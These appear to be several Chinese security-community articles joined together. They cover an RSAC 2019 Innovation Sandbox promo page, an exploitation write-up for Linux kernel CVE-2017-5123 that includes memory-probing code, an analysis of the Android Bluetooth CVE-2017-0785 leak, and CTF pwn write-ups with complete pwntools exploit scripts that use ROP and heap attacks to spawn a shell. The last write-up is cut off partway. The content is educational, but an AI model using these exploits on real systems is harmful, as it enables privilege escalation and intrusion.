Tina Fey是一名作家、女演员和制片人，因扮演Liz Lemon而广为人知，曾因“30 Rock”三次获得艾美奖。在创造“30
Rock”之前，Fey曾参加过九季的Saturday Night Live。在电影方面她也硕果累累，包括Sisters、Date Night以及Mean
Girls（她本人的作品）。2010年，Fey成为美国幽默马克吐温奖最年轻的获奖者。2011年4月，Fey出版了一本书：《Bossypants》，该书连续36周跻身纽约时报畅销书排行榜。Fey也是热门喜剧系列“Unbreakable
Kimmy Schmidt”的共同创作者。最近，Fey为Tony提名的热门百老汇音乐剧“Mean Girls”写了本书。
作为计划委员会主席，Hugh
Thompson负责确定国内和全球趋势，帮助确定RSA会议的议程。他还在会议主题和演讲者选择方面发挥直接作用。Thompson是世界知名的安全专家，也是哥伦比亚大学的兼职教授，拥有应用数学理学学士、硕士和博士学位。他与别人合写了四本书和100多本关于安全的出版物，并在国会就网络安全问题列席发言。2006年，Thompson被SC
Magazine评为“IT安全最具影响力的五大思想家”。Thompson还是赛门铁克公司的首席技术官。
## 大会亮点：RSAC 创新沙盒
RSA Conference 2019在旧金山的Moscone Center开幕，备受瞩目的Innovation
Sandbox（沙盒）大赛也已召开，安全客跟进并发布了数篇关于本届RSAC沙盒大赛的相关解读。
创新沙盒是全球网络安全领域的创业大赛，在过去五年中，前十名决赛选手已经获得超过20.5亿美元的投资。
作为全球网络安全行业创新风向标，从业者都将其视为“安全圈的奥斯卡”，因此每年的创新沙盒大赛都备受瞩目。
会议时间：3月4日星期一
### 十大决赛选手
[](http://www.arkoselabs.com/) [](https://www.axonius.com/)
[](https://capsule8.com/) [](https://cloudknox.io/)
[](https://disruptops.com/) [](http://www.duality.cloud/)
[](https://eclypsium.com/) [](https://salt.security/)
[](http://www.shiftleft.io/) [](http://www.wirewheel.io/)
**相关解读**
> [创新沙盒，由开源商业模式说起 – RSAC2019之一](https://www.anquanke.com/post/id/171779)
>
> [RSAC2019创新沙盒大赛](https://www.anquanke.com/post/id/171788)
>
> [RSAC创新沙盒2019：云、身份、应用安全成为焦点](https://www.anquanke.com/post/id/171260)
## RSAC创新沙盒冠军出炉
在本次RSAC创新沙盒比赛中，Axonius在十个入围项目中表现突出，斩获该项目的冠军。
### Axonius
业务标签：资产管理
总部所在地：以色列
官网：[https://www.axonius.com](https://www.axonius.com/)
首先，Axonius提出了一个问题“即使你用了NAC、漏洞评估工具、一个强大的SIEM和顶级的EDR，可还是回答不了一个基础问题，我们的设备安全么？”。根据他们给出的数据：用户自身不知道或未被管理起来的设备，占到了设备总数的10%-18%。“You
Can’t Secure What You Can’t See”。他们认为：你无法保护你看不到的东西。
他们的解决方案先从资产可视化入手，将企业所有的设备统一纳入管理范围并提供一张所有设备的视图（包括IoT设备和BYOD设备）。可通过使用适配器通过API与现有系统连接，以发现、分析和关联设备信息，为每个设备创建唯一标识和配置文件。最后可通过插件实现跨设备的动作执行。官方提供了5个Use
Cases：不间断的活动设备发现、资产清查与分类、未管理设备识别、补丁管理、安全解决方案增强。
位列第二名的是Duality
Technologies，据称其数据隐私解决方案SecurePlusTM能够在对数据进行加密的同时，利用AI与分析技术提取数据的价值——获得数据价值但不破坏数据的保密性。
### 活动规则
在评论区留下你的预测和理由，我们将为成功预测并且点赞数最高的3位小伙伴送出安全客定制礼包~
（安全客定制帽衫+定制雨伞）
[](https://p3.ssl.qhimg.com/t01181db268cbd5039c.jpg)
### 活动时间
参与评论时间：2月27日-3月4日
中奖名单公布时间：3月5日17点
## 中奖名单公布
恭喜以下两位中奖的小伙伴，我们将与您的用户邮箱取得联系并送出礼物~
**注：** 加入安全客活动交流Q群 **702511263** ，有问题私聊管理员随时沟通~ | 社区文章 |
# 【技术分享】一种原始且有效的内核提权方法：对CVE-2017-5123的分析与利用
|
##### 译文声明
本文是翻译文章，文章来源：reverse.put.as
原文地址：<http://reverse.put.as/2017/11/07/exploiting-cve-2017-5123/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：180RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
CVE-2017-5123是一个针对于Linux内核4.12-4.13版本，存在于waitid()系统调用中的本地提权漏洞。该漏洞原因在于：在waitid()系统调用中，由于没有检查用户态传入指针的有效性，而造成攻击者可以不受限制地将用户态写入任意内核地址的能力。
我在11月5日发布了漏洞利用的演示视频，网址为：
<https://www.youtube.com/watch?v=DfwOJIcV5ZA>
此外，Chris Salls在11月6日也独立发表了对该漏洞的分析和利用，大家可以阅读并比较：
<https://salls.github.io/Linux-Kernel-CVE-2017-5123/>
与Chris不同的是，我将会带来另一种漏洞利用方法。并且我会将分析的重点放在如何利用这个漏洞，在不进行读取操作的前提下获得root权限。
这是一个让我非常感兴趣的漏洞，我也建议大家能进行更深入的思考。 **在Linux香草内核（Vanilla
Kernel）的自我防护下，仅利用这个漏洞本身，我们都能实现什么操作？或者说，当存在一个或多个任意内核地址写入漏洞时，我们可以如何利用？**
利用的是不是CVE-2017-5123这个漏洞并不重要，重要的是： **我们如何通过原本存在的漏洞，来最大限度地提升权限。**
这一类的漏洞十分强大，但很多人都没有对它足够地重视。
**漏洞分析**
以下是kernel/exit.c中的部分代码：
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}
自从4.12版本引入 **unsafe_put_user()** 之后，在 **waitid()** 的系统调用中，缺少一个 **access_ok()**
检查，由此产生了这一漏洞。
其中的 **access_ok()**
用于确保用户指定的指针是指向用户空间，而不是内存空间，因为非特权用户不能随意写入内核内存。这是通过检查限定的地址来实现的。
我们接下来看看 **arch/x86/include/asm/uaccess.h** 中的内容：
#define user_addr_max() (current->thread.addr_limit.seg)
...
/*
* Test whether a block of memory is a valid user space address.
* Returns 0 if the range is valid, nonzero otherwise.
*/
static inline bool __chk_range_not_ok(unsigned long addr,
unsigned long size, unsigned long limit)
{
/*
* If we have used "sizeof()" for the size,
* we know it won't overflow the limit (but
* it might overflow the 'addr', so it's
* important to subtract the size from the
* limit, not add it to the address).
*/
if (__builtin_constant_p(size))
return unlikely(addr > limit - size);
/* Arbitrary sizes? Be careful about overflow */
addr += size;
if (unlikely(addr < size))
return true;
return unlikely(addr > limit);
}
#define __range_not_ok(addr, size, limit)
({
__chk_user_ptr(addr);
__chk_range_not_ok((unsigned long __force)(addr), size, limit);
})
...
#define access_ok(type, addr, size)
({
WARN_ON_IN_IRQ();
likely(!__range_not_ok(addr, size, user_addr_max()));
})
这也就意味着，该漏洞允许无特权的用户，在调用waitid()时，使用infop指定一个内核地址。随后，内核将直接使用该地址，执行写入操作。而具体到写入的内容，我们很难去控制。
Chris的文章中写道：
“info.status是一个32位的int型变量，但被限定在0 < status <
256之间。尽管info.pid可以通过反复fork在一定程度上被控制，但它还是存在一个最大值，为0x8000。”
然而，我对最大值并不感兴趣，但是我发现，我们可以将0写入任意的内核内存中。
我此次的漏洞利用，与Chris最大的不同就在于—— **如果我们能够通过某种方式，找到cred的结构，我们就可以写入0，覆盖cred->euid和cred->uid，从而有效获得root权限** **。**
以下是位于 **include/linux/cred.h** 中的cred结构定义：
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
在如何找到该结构这一点上，我们是完全盲目的。因此，我们需要一种方法来绕过内核地址空间布局随机化（KASLR），并找到内核堆。
**通过内存探测绕过KASLR**
****
通过使用诸如 **copy_from_user()** 、 **copy_to_user()** 等函数，我们可以确保当缺页（Page
Fault）异常处理程序指定了错误的地址时，不会发生内核的OOPS。
这样的做法是有用的，因为当他们提供的地址不属于用户空间中的进程所在的地址空间时，非特权用户并不能引起一次DoS。
使用 **unsafe_put_user()** 时也会发生同样的情况，这就意味着，我们可以在内存堆可能位于的区间内，进行内存探测。
我是通过下述代码来实现的：
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
pid = fork();
if (pid > 0)
{
if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0)
{
printf("[+] Found %pn", i);
break;
}
}
else if (pid == 0)
exit(0);
}
这里的关键之处在于： **当我们尝试一个有效地址时，waited()不会返回EFAULT。** 所以，我们可以用这种方式进行内存探测。
既然现在我们已经知道了内存堆的位置，接下来要做的，就是要弄明白cred结构是如何生存的，因为内核堆的状态还是未知。
**堆喷射**
至此，我已经有了一个清晰的思路，具体如下：
**如果我们创建了成百上千个进程，那么内核堆中也会随之创建成百上千个cred结构。**
**因此，我的思路是创建大量的进程，并通过不断调用geteuid()，在循环中检查其是否得到了为0的euid。**
**一旦geteuid()返回值为0，那么我们就大功告成，可以从那里写入到cred- >euid – 0x10，也就是cred->uid。**
通过堆喷射，我们可以不断增加命中目标的概率，尽管它并不能保证百分之百有效。这一部分，Chris也提出了相似的堆喷射思路。但对比两种方法，堆喷射显然更有助于我们的漏洞利用过程。
当产生了很多个cred结构后，我们观察其位置，发现在有些地址，cred会一直保留，即使是在重启之后。
如果你也想观察它们的位置，可以在不需要内核调试的地方进行观察，只需要使用这个内核模块，打印出cred->euid生存的位置。
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h> // for basic filesystem
#include <linux/proc_fs.h> // for the proc filesystem
#include <linux/seq_file.h> // for sequence files
static struct proc_dir_entry* jif_file;
static int
jif_show(struct seq_file *m, void *v)
{
return 0;
}
static int
jif_open(struct inode *inode, struct file *file)
{
printk("EUID: %pn", ¤t->cred->euid);
return single_open(file, jif_show, NULL);
}
static const struct file_operations jif_fops = {
.owner = THIS_MODULE,
.open = jif_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static int __init
jif_init(void)
{
jif_file = proc_create("jif", 0, NULL, &jif_fops);
if (!jif_file) {
return -ENOMEM;
}
return 0;
}
static void __exit
jif_exit(void)
{
remove_proc_entry("jif", NULL);
}
module_init(jif_init);
module_exit(jif_exit);
MODULE_LICENSE("GPL");
通过fork和反复打开/proc/jif，我们可以在之后使用dmesg来查看printk()的输出。
# dmesg | grep EUID:
[16485.192353] EUID: ffff88015e909a14
[16485.192415] EUID: ffff88015e9097d4
[16485.192475] EUID: ffff88015e909954
[16485.192537] EUID: ffff880126c627d4
[16485.192599] EUID: ffff88015e9094d4
[16485.192660] EUID: ffff88015e909414
[16485.192725] EUID: ffff88015e909294
[16485.192790] EUID: ffff88015e909054
[16485.192860] EUID: ffff8801358efdd4
[16485.192925] EUID: ffff8801358efd14
[16485.192991] EUID: ffff8801358efe94
[16485.193057] EUID: ffff88015e909354
[16485.193124] EUID: ffff88015e9091d4
[16485.193187] EUID: ffff8801358eff54
[16485.193249] EUID: ffff8801358efb94
[16485.193314] EUID: ffff8801358efa14
[16485.193381] EUID: ffff88015e909114
[16485.193449] EUID: ffff8801358ef894
[16485.193515] EUID: ffff8801358ef714
[16485.234054] EUID: ffff880125766d14
[16485.234150] EUID: ffff8801256e9954
[16485.234189] EUID: ffff8801256e9654
[16485.429875] EUID: ffff8801257661d4
[16485.429881] EUID: ffff8801256e9e94
[16485.603481] EUID: ffff8801358ef954
[16485.603543] EUID: ffff8801256e9b94
[16485.603582] EUID: ffff880126c62e94
[16485.603620] EUID: ffff8801358ef7d4
[16485.603658] EUID: ffff880126c62a14
[16485.603701] EUID: ffff880125766654
[16485.603743] EUID: ffff8801358ef654
[16485.603782] EUID: ffff8801257667d4
[16485.603824] EUID: ffff880125766a14
[16485.603864] EUID: ffff880125766b94
[16485.603906] EUID: ffff8801256e94d4
[16485.603943] EUID: ffff8801256e91d4
[16485.603979] EUID: ffff880126c62d14
[16485.604017] EUID: ffff88015e909654
[...]
这样，我们就可以猜测其所在位置，并进行尝试。
至此，我们就知道了在“堆基址+一定的偏移量”的位置，命中目标的概率会比其他地方要高出很多。
所以，我们可以开始写入这些位置，然后增加PAGESIZE，借此希望能够改写其中某一个进程的凭据。如果能成功改写，我们也就成功实现了对该漏洞的利用。
特别一提的是，我之前还写过另外一篇文章，是通过覆盖 **selinux_enforcing** 和 **selinux_enabled**
来实现对SELinux的禁用，有兴趣的读者可以阅读：
<http://www.openwall.com/lists/oss-security/2017/10/25/2>
**漏洞利用**
****
如果你已经仔细阅读了上面的全部内容，我相信你现在一定可以尝试着利用这个漏洞，并没有想象的那么复杂。
如大家所见，我更有针对性地讲解了如何去利用这种原始的技术实现漏洞利用，而不仅仅针对这个CVE-2017-5123提供指导。当然了，我们这次是一箭双雕。
**结论**
****
通过对该漏洞的分析，我们意识到，这种类型的漏洞确实具有很大的威胁性。除此之外，我们也应该思考并尝试着用不同的方法实现Linux内核漏洞的利用。
最后，感谢André Baptista
[@0xACB](https://twitter.com/0xACB)以及所有xSTF。重点要感谢[@osxreverser](https://twitter.com/osxreverser)让我在这里发布自己的Write-up。 | 社区文章 |
**Sourcell@海特实验室**
CVE-2017-0785 属于 BlueBorne 漏洞集。导致该漏洞的原因是 Android BlueDroid 和 Fluoride 蓝牙协议栈实现的
SDP server 没有正确处理 continuation state。攻击者可以利用它泄露 Android 栈上的内存信息，然后绕过 ASLR。
本文将基于标签为 android-8.0.0_r1 的 AOSP Fluoride 蓝牙协议栈分析该漏洞。
# 背景知识
### SDP 简介
SDP (Service Discovery Protocol) 是经典蓝牙中的高层协议，使用 C/S 架构。它定义了 client 如何发现 server
提供的服务：
上图中的关键点是，client 必须等待 server 响应当前的 request PDU 后，才能发送下一个 request PDU。Request
PDU 会携带限制 response PDU 返回数据大小的字段，比如 MaximumAttributeByteCount：
Bluetooth SDP Protocol
PDU: Service Search Attribute Request (0x06)
Transaction Id: 0x0000
Parameter Length: 15
Service Search Pattern: Public Browse Group
Maximum Attribute Byte Count: 65535
Attribute ID List
Continuation State: no (00)
Response PDU 也会携带相应的字段表示自己返回数据的长度，比如 AttributeListsByteCount：
Bluetooth SDP Protocol
PDU: Service Search Attribute Response (0x07)
Transaction Id: 0x0000
Parameter Length: 667
Attribute List Byte Count: 662
Data Fragment
Continuation State: yes (02 96)
Continuation State Length: 2
Continuation State Value
### Continuation State 简介
上一节提到的 AttributeListsByteCount 不能比 MaximumAttributeByteCount 大。一旦 server 发现
client 请求的数据在一个 response PDU 中放不下，就会把数据分段，并使用 SDP 定义的 continuation state
完成所有分段的传输。每个数据段的大小不一定把 MaximumAttributeByteCount 用完，server 可自行决定分段大小。比如在上面的
response PDU 中分段大小为 662 字节，远小于 MaximumAttributeByteCount 定义的最大值 65535。
传输分段数据的 response PDU 必须携带 ContinuationState 字段。该字段由两部分组成。其中 InfoLength 表示
continuation information 的长度，且最大值为 0x10：
+------------+--------------------------+
| InfoLength | Continuation Information |
+------------+--------------------------+
Continuation information
则是一个很神奇的字段，因为蓝牙核心规范并没有为它定义具体的含义，只要求该字段能解决分段传输的问题即可。具体的情形是，client 收到携带分段数据的
response PDU 后，会把其中的 ContinuationState 拿出来，放到下一个 request PDU 中发回给 server。然后
server 根据收到的 ContinuationState 确定下一个应传输的数据分段（这与 cookie
有异曲同工之妙），如此往复直到所有分段都传输完毕（传输最后一个分段的 response PDU 不使能 continuation state）。
### L2CAP 导致的数据分段
在大多数实际场景中，并不是上一节阐述的原因导致了数据分段。比如当 SDP server 返回的数据总和 (1343 bytes) 远小于
MaximumAttributeByteCount 设置的 65535 时，也会有数据分段：
这是因为 L2CAP (Logical Link Control and Adaptation Protocol) 的限制。L2CAP 承载了 SDP
PDU 的传输，在 L2CAP 连接建立后，两端的设备会交换各自接收数据时支持的 MTU (Maximum Transmission Unit)：
Device A -> Device B
Bluetooth L2CAP Protocol
Length: 12
CID: L2CAP Signaling Channel (0x0001)
Command: Configure Request
Command Code: Configure Request (0x04)
Command Identifier: 0x04
Command Length: 8
Destination CID: Dynamically Allocated Channel (0x0040)
0000 0000 0000 000. = Reserved: 0x0000
.... .... .... ...0 = Continuation Flag: False
Option: MTU
Type: Maximum Transmission Unit (0x01)
Length: 2
MTU: 1024
Device B -> Device A
Bluetooth L2CAP Protocol
Length: 14
CID: L2CAP Signaling Channel (0x0001)
Command: Configure Response
Command Code: Configure Response (0x05)
Command Identifier: 0x04
Command Length: 10
Source CID: Dynamically Allocated Channel (0x0040)
0000 0000 0000 000. = Reserved: 0x0000
.... .... .... ...0 = Continuation Flag: False
Result: Success (0x0000)
Option: MTU
Type: Maximum Transmission Unit (0x01)
Length: 2
MTU: 1024
当 SDP server 发现填入 SDP response PDU 的数据长度超过远端设备 L2CAP 设置的 MTU 时，就会使能
continuation state 把数据分段传输。
# Android 定义的 Continuation Information
前面说明了蓝牙核心规范并没有定义 continuation information 的具体含义是什么，于是 Android 对该字段的定义如下：
platform/system/bt/stack/sdp/sdpint.h#200
cont_offset 的具体含义有两种：
* 当使用 SDP_SERVICE_SEARCH_REQ/RSP PDU 时，cont_offset 表示下一个分段中起始数据项相对不分段完整数据项的偏移。
这里的数据项具体指的是 service record handle。比如 server 总共要返回 100 个 service record
handle，第一次返回了 10 个，那么 cont_offset 就为
10。也可以把这个偏移理解为当前已经传输的数据项总和或是后续传输的第一个数据项在完整数据项中的索引。
* 当使用 SDP_SERVICE_ATTR_REQ/RSP 或 SDP_SERVICE_SEARCH_ATTR_REQ/RSP 时，cont_offset 表示下一个分段的数据相对不分段完整数据的偏移。
这和上面一种情况类似，只不过 offset 的单位由一条数据项变为了字节。当然也可以理解为已经传输的分段数据大小总和。比如下面传输第一个分段数据的
response PDU，其中 cont_offset 为 02 96，即 662，正好等于 AttributeListsByteCount 中的 662。
Client 只要在后续的 request PDU 中回传 cont_offset，server 就能找到对应 response PDU
应携带分段数据的起始位置，从而继续传输分段数据。这满足了蓝牙核心规范解决分段传输问题的要求。
# 漏洞分析
Android 实现的 SDP server 在处理 request PDU 时会进入 sdp_server_handle_client_req()：
platform/system/bt/stack/sdp/sdp_server.cc#116
该函数会根据 PDU ID 判断当前 request PDU 的类型。当 request PDU 为 SDP_SERVICE_SEARCH_REQ PDU
时，进入 process_service_search() 做进一步处理：
platform/system/bt/stack/sdp/sdp_server.cc#141
处理函数会依次提取 SDP_SERVICE_SEARCH_REQ PDU 携带的三个参数：
* 提取 ServiceSearchPattern 至 uid_seq
platform/system/bt/stack/sdp/sdp_server.cc#183
* 提取 MaximumServiceRecordCount 至 max_replies
platform/system/bt/stack/sdp/sdp_server.cc#192
* 提取 ContinuationState 至 cont_offset
platform/system/bt/stack/sdp/sdp_server.cc#219
若当前处理的 request PDU 使能了 continuation state，SDP server 就会提取其中的 continuation information 字段，并存入 cont_offset。紧接着 Android 还会对 cont_offset 做安全检查，比较它与先前传给 SDP client 的值是否相等，防止攻击者恶意设置 offset 导致数组越界：
platform/system/bt/stack/sdp/sdp_server.cc#221
在得到 uid_seq 与 max_replies 后，SDP server 会找到所有与 uid_seq 匹配的 service record
handle，并把它们存储在 rsp_handles 数组中。这些 handle 就是 client 请求的数据。max_replies 则用于限制这些
handle 的总数 num_rsp_handles（漏洞点），避免返回的 handle 数量超过 MaximumServiceRecordCount
的限制：
platform/system/bt/stack/sdp/sdp_server.cc#207
对于每一个请求，num_rsp_handles 都会被重新计算一次。这种做法对不使用 continuation state 的请求是合理的，因为若
uid_seq 和 max_replies 不同，num_rsp_handles 也可能不同。但是当请求使用 continuation state
时，所有上下文相同的请求都应使用同样的 uid_seq 和 max_replies，那么 num_rsp_handles
不会改变，因此没必要再重新计算。如果重新计算，就应检查每次计算得到的 num_rsp_handles
是否相同。若不相同，则说明出现了异常流量，需要报错处理。但 AOSP 并没有做这种检查。
于是攻击者可以利用 max_replies 对 num_rsp_handles 的限制，使它的值在一个 continuation state
上下文中发生变化。比如先发送普通的 SDP_SERVICE_SEARCH_REQ PDU，正常触发 continuation state 机制（为了增加触发
continuation state 的概率，可以配置一个很小的 L2CAP MTU），然后发送 MaximumServiceRecordCount 为 1
的 continuation state PDU，就会导致 num_rsp_handles 的值为 1。
在 num_rsp_handles 值为 1 的情况下继续跟踪代码。当 continuation state 使能时，SDP server 会使用
num_rsp_handles 减去 cont_offset（已经传输的数量），从而得到剩余需要传输的 handle 数量 rem_handles。由于
num_rsp_handles 被攻击者篡改为了 1，且 rem_handles 的类型为 uint16_t，所以 rem_handles 发生
underflow：
platform/system/bt/stack/sdp/sdp_server.cc#227
接下来 SDP server 会根据远端设备 L2CAP 配置的 MTU 计算当前 SDP_SERVICE_SEARCH_RSP PDU 中最多能携带的
handle 数量 cur_handles。显然下溢的 rem_handles 总是大于 cur_handles，导致 continuation state
恒使能：
platform/system/bt/stack/sdp/sdp_server.cc#236
之后 SDP server 会把位于 cont_offset 到 cont_offset + cur_handles 之间的 handle 写入
SDP_SERVICE_SEARCH_RSP PDU。由于持续的 continuation state，会导致 cont_offset
不断增大，所以如下循环中的 rsp_handles[xx] 必然会发生越界读，最终导致内存泄露：
platform/system/bt/stack/sdp/sdp_server.cc#269
# References
Service Discovery Protocol (SDP) Specification, BLUETOOTH CORE SPECIFICATION Version 5.2 | Vol 3, Part B page 1206
BlueBorne Technical White Paper | 社区文章 |
## 前言：
写一下西湖论剑里的三道pwn题，主要讲一下第二道，因为后面我才发现自己解第二道好像是非预期解。。讲一下自己的解题思路吧。
## Story：
常规基础pwn，格式化字符串+ROP。
### 漏洞：
格式化字符串：
printf(&s);
栈溢出：
if ( v1 < 0 )
v1 = -v1;
if ( v1 > 128 )
v1 = 1024LL;
puts("You can speak your story:");
rread((__int64)&s, v1);
### 思路：
1. 格式化字符串先泄漏`canary`的值和`__libc_start_main`的值，得到libc
2. 找ROP_gadget
3. 栈溢出，覆盖到ROP，返回`system`
### EXP：
from pwn import *
#p = process('./story')
p = remote('ctf3.linkedbyx.com',11045)
elf = ELF('./story')
libc = ELF('./libc.so')
p.recvuntil('Please Tell Your ID:')
p.sendline('%15$p,%25$p')
p.recvuntil('Hello ')
data1 = p.recv(18)
p.recvuntil(',')
data2 = p.recv(14)
data1 = int(data1,16)
data2 = int(data2,16) - 240
print hex(data1),hex(data2)
libc_base = data2 - libc.symbols['__libc_start_main']
system_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + libc.search('/bin/sh').next()
p.recvuntil('Tell me the size of your story:')
p.sendline('144')
p.recvuntil('You can speak your story:')
#gdb.attach(p)
payload = 'A'*136 + p64(data1) + 'A'*8 + p64(0x0000000000400bd3) + p64(bin_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()
## noinfoleak：
一看程序就是没有view函数，需要自己想办法leak。因为不久之前刚练手了IO_FILE泄漏的缘故，所以第一时间想到的泄漏就是利用IO_FILE（所以搞的我头皮发麻
只有一个UAF的漏洞，但是足够了。malloc的最大size是0x7f，但是因为程序malloc时候自动加1的缘故，所以最大能拿到0x90的chunk。
### 漏洞点：
UAF：
free(qword_6010A0[2 * v0]); // UAF
### 思路：
1. Fast bin attack到IO_FILE处
2. 修改IO_write_base泄漏地址
3. Fast bin attack到`__malloc_hook`处
4. malloc触发getshell
### 实践：
Fast bin attack大家都会我这里就不多说了，我这里比较蠢，还用了Double
Free的方式来攻击，导致浪费了chunk，这里其实可以free掉之后修改fd来继续分配fake chunk。
因为我要分配到IO_FILE中，且它在libc中，所以我需要找一个接近于他的一个地址，那么最好的方法就是free掉chunk后的fd和bk指针了。
我先malloc一个0x7f的chunk，然后free。
再malloc 0x60大小，字节内容就填个`A`，防止破坏fd指针。
pwndbg> heap
0xdfd000 FASTBIN {
prev_size = 0x0,
size = 0x71,
fd = 0x7f1ef5c6cb41,
bk = 0x7f1ef5c6cbf8,
fd_nextsize = 0x4141414141414141,
bk_nextsize = 0x4141414141414141,
}
0xdfd070 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x7f1ef5c6cb78,
bk = 0x7f1ef5c6cb78,
fd_nextsize = 0x20,
bk_nextsize = 0x70,
}
而后我们就可以愉快的fast bin attack了，先malloc两个0x60的chunk，而后都free，形成double free，此时的fast
bin：
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x104f100 —▸ 0x104f090 ◂— 0x104f100
0x80: 0x0
两个chunk的情况：
pwndbg> x/10xg 0x104f100
0x104f100: 0x0000000000000000 0x0000000000000071
0x104f110: 0x000000000104f090 0x0000000000000000
0x104f120: 0x0000000000000000 0x0000000000000000
0x104f130: 0x0000000000000000 0x0000000000000000
0x104f140: 0x0000000000000000 0x0000000000000000
pwndbg> x/10xg 0x104f090
0x104f090: 0x0000000000000020 0x0000000000000070
0x104f0a0: 0x000000000104f100 0x4141414141414141
0x104f0b0: 0x4141414141414141 0x4141414141414141
0x104f0c0: 0x0000000000000000 0x0000000000000000
0x104f0d0: 0x0000000000000000 0x0000000000000000
修改`0x104f100`的fd指向`0x104f000`，只需覆盖掉一个字节为`\x00`即可，再malloc两次即可指向最开始所构造的有`main_area`的chunk，在此之前还得修改一下这个chunk的头两个字节为IO_FILE处的地址。
此时我们往IO_FILE看看哪里可以构造chunk：
可以看到我们需要往`0x7f7bd8d375dd`地址去fast bin
attack，而与前面我们所有的`main_area`的fd指针chunk只差了后面两个字节，况且`5dd`还是固定值，所以我们有`1/16`的机会成功，这就是爆破IO_FILE了。所以我们修改一下该chunk：
edit(3,'\xdd\x45')
再次malloc，即可在IO_FILE地址处的得到一个chunk。这样我们就可以开始愉快的修改IO_write_base来泄漏了。不过还得修改一下flag的魔数，即`0xfbad2883`的值。
我这里选择泄漏了错位的地址，其实可以选择泄漏got表上的地址，泄漏函数地址来达到拿到libc的效果，都一样。
payload = 'A'*0x33 + p64(0xfbad1800) + p64(0x7f734fa446a3)*3
payload += '\x50'
create(0x65,payload)
后面就是常规操作了，fast bin到`malloc_hook`地址即可。这里就不多说了。（exp每家循环，写的不太好。
### EXP：
from pwn import *
p = process('./noinfoleak')
#p = remote('ctf1.linkedbyx.com',10476)
elf = ELF('./noinfoleak')
libc = ELF('./libc6.so')
context.log_level = 'debug'
def create(size,content):
p.sendlineafter('>','1')
p.sendlineafter('>',str(size))
p.sendafter('>',content)
def delete(index):
p.sendlineafter('>','2')
p.sendlineafter('>',str(index))
def edit(index,content):
p.sendlineafter('>','3')
p.sendlineafter('>',str(index))
p.sendafter('>',content)
create(0x7f,'A'*0x20) #0
create(0x60,'A'*0x20) #1
create(0x60,'A') #2
delete(0)
create(0x60,'A') #3
delete(2)
delete(1)
delete(2)
gdb.attach(p)
create(0x60,'\x00')#4
create(0x60,'A')#5
create(0x60,'\x00')#6
edit(3,'\xdd\x45')
create(0x60,'A')
payload = 'A'*0x33 + p64(0xfbad1800) + p64(0x7f734fa446a3)*3
payload += '\x50'
create(0x65,payload)
p.sendline()
libc_base = u64(p.recv(6).ljust(8,'\x00'))
libc_base = libc_base - 3954339
print hex(libc_base)
malloc_addr = libc_base + libc.symbols['__malloc_hook']
one_gadget_addr = libc_base + 0xf02a4
log.success('malloc_addr :'+hex(malloc_addr))
log.success('one_addr :'+hex(one_gadget_addr))
delete(2)
delete(1)
delete(2)
create(0x60,p64(malloc_addr-35))
create(0x60,'A')
create(0x60,p64(malloc_addr-35))
create(0x60,'\x00'*19+p64(one_gadget_addr))
#gdb.attach(p)
p.sendlineafter('>','1')
p.sendlineafter('>',str(0x10))
p.interactive()
## Storm_note：
这道题其实是一道改编`0ctf`的一道`heapstormII`的题目，其实基本一样，就是阉割了一点，难度降低了一点。
### 漏洞点：
OFF-BY-ONE：
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
puts("Content: ");
v2 = read(0, (void *)note[v1], (signed int)note_size[v1]);
*(_BYTE *)(note[v1] + v2) = 0; // OFF-BY-ONE
puts("Done");
}
### 思路：
1. 利用OFF-BY-ONE进行Overlapping，形成两个指针同时控制两个错位交叉chunk
2. 构造Large bin的两个bk和bk_nextsize指针
